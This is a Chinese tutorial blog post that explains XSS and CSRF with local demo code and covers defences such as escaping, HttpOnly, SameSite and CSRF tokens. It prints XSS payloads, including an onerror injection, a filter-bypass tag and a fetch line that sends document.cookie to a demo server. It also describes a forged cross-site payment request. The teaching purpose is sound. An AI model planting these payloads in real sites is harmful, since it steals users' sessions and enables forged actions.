几个栗子搞懂xss和csrf攻击

xss攻击

例如我在掘金评论区输入以下评论:

jsx 复制代码
<script>alert(1)</script>

提交后再打开评论区,发现返回的HTML中可以看到这段代码评论, 但是并没有执行? 因为代码进行了转义, 在控制台审查dom元素, 点击 Edit as Html :

可以看到特殊符号转成了转义字符:

试想, 如果这些字符没有被转义, 在我们打开评论区的时候, 就会出现弹框了!

xss(Cross-Site Scripting) 中文名为跨站脚本攻击. 指的是攻击者在页面的输入控件(如input框)中注入恶意脚本, 服务端保存了页面输入的内容, 其他用户再访问这个页面时, 服务端将脚本内容返回给了用户, 用户浏览器执行恶意脚本, 从而用户的敏感信息被窃取或者被攻击.

XSS实例

1、攻击者在某论坛评论区留言了一段脚本代码<script>alert(1)</script>并提交, 这段代码被存储在了数据库, 其他用户访问评论区时, 会执行这段代码

2、攻击者通过在网站注入脚本来获取用户cookie信息.

如下例子中, 用户的页面被注入了代码: <script>fetch('http://localhost:4000/transfer_cookie?s='+document.cookie)</script>, 用户点击测试按钮, 他的cookie就会传送到攻击者的服务器. 服务端能打印出cookie:

3、在vue项目使用v-html被注入了脚本代码,例如:<img src onerror='alert(1)'/>, 这种情况直接注入<script>alert(1)</script>并不会执行

比如下面例子中,内容中第二行为使用v-html的动态内容:

点击测试, 可以发现v-html中的内容被替换为包含脚本的html并执行了:

4、后端用正则替换来处理前端传递的html字符串: <scscriptript>alert(1)</scscriptript>

可以看到有很多方法可能造成xss注入,总的来说有下面几种:

  • html中内嵌script 标签
  • 在内联的 js 中,拼接恶意代码
  • 在标签属性中,恶意内容包含引号,从而突破属性值的限制,注入其他属性或者标签
  • 在 href、src 属性中,使用 javascript: 等可执行代码
  • 在 onload、onerror、onclick 等事件中,注入代码

xss的类型(来自mdn)

可以分为 存储型 XSS、反射型 XSS、和基于DOM的 XSS

注入型脚本 : 永久存储在目标服务器上。当浏览器请求数据时,脚本从服务器上传回并执行。
反射型 XSS : 当用户点击一个恶意链接,或者提交一个表单,或者进入一个恶意网站时,注入脚本进入被攻击者的网站。
基于 DOM 的 XSS: 页面本身并没有变化,但由于 DOM 环境被恶意修改,有客户端代码被包含进了页面,并且意外执行。

XSS防范

前端不要轻易在页面中注入来路不明或者可能被篡改的html,服务端也要对用户提交的html内容进行过滤、转义等. 另外通过在敏感cookie设置 HttpOnly 标记, 防止javascript访问cookie, 也可以防范cookie盗用:

ini 复制代码
Set-Cookie: Expires=Wed, 21 Oct 2015 07:28:00 GMT; HttpOnly

另外, 在 vue 的模版和 react 的 renderDom 中都对字符串进行了转义, 因此在spa应用中通常不用太多考虑 xss 的风险, 除非使用v-html这样的指令.

CSRF攻击

Cross---Site Request Forgery全称为跨站请求伪造, 从名字可以看出来: CSRF侧重的是请求的"伪造", 从而达到盗用用户身份, 发起恶意请求的目的.

先来看一个代码实例:

CSRF实例

假设在银行网站localhost:4010有一个页面, 页面上有登陆、支付和退出登陆功能:

点击登陆, 这时会调服务端接口,创建session,保存用户的登陆状态. 然后再点进钓鱼网站 [localhost:4020](http://localhost:4020) , 你在这里点了一个号称"美女荷官"的按钮, 请求了localhost:4010 的/pay 这个支付接口. 你会发现竟然支付成功了!

这是因为在[localhost:4020](http://localhost:4020) 的请求也携带了用户的会话cookie, 而服务端会根据cookie中的信息来判断用户是否登陆过.

如果在localhost:4010点击了退出登陆, 再点击"美女荷官"的按钮, 就会失败, 因为服务端session已经过期, 客户端再携带老的cookie去请求接口, 肯定会不通过的.

服务端代码:

jsx 复制代码
// router/index.js
router.get("/login", async(ctx, next) => {
  ctx.session.login = true
  console.log('登陆成功,已添加session!')
  ctx.body = {
    message: '登陆成功'
  }
  next()
})
router.get("/logout", async (ctx, next) => {
  ctx.session.login = false
  ctx.body = {
    message: '退出成功'
  }
  next()
})
router.get("/pay", (ctx) => {
  if (ctx.session.login) {
    ctx.body = {
      message: '支付成功'
    }
  } else {
    ctx.body = {
      message: '未登陆!'
    }
  }
})
jsx 复制代码
// index.js
const Koa = require("koa")
const router = require("./router")
const cors = require('@koa/cors')
const bodyParser = require('koa-bodyparser')
const session = require('koa-session')
const app = new Koa()

// axios请求默认不携带cookie,设置withCredentials:true则会自动携带,需要在服务端设置Access-Control-Allow-Credentials头部
app.use(cors({ credentials: true }))
app.use(bodyParser())
app.use(router.routes())
app.keys = ['some secret hurr']

const CONFIG = {
  key: 'koa.sess',
  maxAge: 60000,
  autoCommit: true,
  overwrite: true,
  httpOnly: true,
  signed: true,
  rolling: false,
  renew: false,
  secure: false,
  sameSite: null
}
app.use(session(CONFIG, app))

app.listen(4000,()=>{
    console.log("open server localhost:4000")
})

防御CSRF

从上面这个过程可以看到, 被攻击的原因是因为cookie被跨站获取了, 因此不允许跨站获取cookie能防御大部分CSRF

1、同源检测: 黑客要发起攻击的话只能是在自己的网站构造请求, 因此通过HTTP头 Origin 和 Referer 确定来源的域名, 如果和本域不一致则拦截.

Referer - HTTP | MDN

2、较敏感的cookie 设置 SameSite 属性为Strict或 Lax, SameSite允许服务器指定是否可以在第三方不同域网站上携带 cookie, 如服务端设置返回头:

ini 复制代码
Set-Cookie: key=value; SameSite=Strict

3、CSRF Token: 在关键请求中携带一个攻击者无法获取到的token,那么攻击就会失败了

额外知识

  • 转义字符的意义: 比如ASCll里面的控制字符及回车换行等字符,这些字符都没有现成的文字代号,即无法用键盘上任何单个按键表示。 所以只能用转义字符来表示。 某一些特定的字符在编辑语言中被定义为特殊用途的字符。 这些字符由于被定义为特殊用途,它们失去了原有的意义。

  • 什么是跨站和跨域?

    跨站: 比如 ark.dev.cn 和 zeus.test.cn 就属于跨站, 因为它两有不同的二级域名
    ark.dev.cn 和 zeus.dev.cn 就属于同站,因为具有相同的二级域名 dev.cn

    跨域: 域名只要不一样就跨域了

  • XMLHttpRequest.withCredentials属性是一个布尔值,表示跨域请求时,用户信息(比如 Cookie 和认证的 HTTP 头信息)是否会包含在请求之中,默认为false,即向 example.com 发出跨域请求时,不会发送 example.com 设置在本机上的 Cookie(如果有的话)。axios中的withCredentials配置设置的就是这个值。

demo代码

代码仓库: 地址

代码使用了pnpm进行monorepo管理, 在最外层仓库安装依赖后, 分别运行以下命令就可:

shell 复制代码
// port: 4000
pnpm run start:end
// port: 4030
pnpm run start:xss
// port: 4010 4020
pnpm run start:csrf
相关推荐
如夏倾城7 小时前
QUIC——HTTP/3 的唯一底层传输协议 及 0-RTT恢复
网络·网络协议·tcp/ip·安全·http
Agent世界9 小时前
用 CDP 做发布自动化:四道机器闸门与产物验收
前端·javascript
FungLeo9 小时前
成为全栈·Vue 管理后台篇·编辑器图片上传:从文件选择到文章附件关联
前端·vue.js·编辑器·markdown·文件上传·formdata·附件管理
某哈压力大10 小时前
SSH 突然 Connection reset?不是密钥坏了,是 OpenSSL 把 sshd 干趴了
前端·node.js·命令行
程序员大阳10 小时前
副队长ES6+教程(3)--解构赋值
前端·javascript·es6·赋值·解构
KCENN10 小时前
安全触边在电梯轿厢门防夹保护系统中的选型配置与长效维护要点
安全
神膘护体小月半10 小时前
css - 元素背景图由 hover 触发,初次加载时闪动的解决办法
前端·javascript·css
程序员大阳10 小时前
副队长ES6+教程(2)--let 与 const
前端·javascript·es6·const·let·var
deli00710 小时前
写满 200GB 后 SSD 为什么掉到 95MB/s?SLC 缓存模型实测
前端
曦樂~11 小时前
【Web Development】03JavaScript 基础和事件
开发语言·前端·javascript